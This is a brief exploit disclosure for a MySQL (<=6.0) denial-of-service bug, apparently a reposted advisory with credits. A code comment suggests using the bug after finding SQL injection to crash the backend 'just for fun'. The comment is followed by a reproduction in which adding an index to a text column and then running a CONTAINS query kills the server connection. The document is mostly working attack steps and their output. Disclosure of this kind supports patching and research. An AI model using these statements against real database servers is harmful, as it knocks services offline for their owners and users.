mysql 5.0.45 （修改）拒绝服务漏洞 /* * MySQL <=6.0 possibly affected * Kristian Erik Hermansen * Credit: Joe Gallo * You must have Alter permissions to exploit this bug! * Scenario: You found SQL injection, but you want to punch backend server * in the nuts just for fun. Start with the Alter TABLE statement on * a table and field you know to exist. The first two SQL statements are * simply to demostrate reproducibility... */
<snip> mysql> Create TABLE `test` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY, `foo` text NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; Query OK, 0 rows affected
mysql> Select * FROM test Where CONTAINS(foo, ''bar''); Empty set
mysql> Alter TABLE test ADD INDEX (foo(100)); Query OK, 0 rows affected Records: 0 Duplicates: 0 Warnings: 0
mysql> Select * FROM test Where CONTAINS(foo, ''bar''); ERROR 2013 : Lost connection to MySQL server during query </snip>
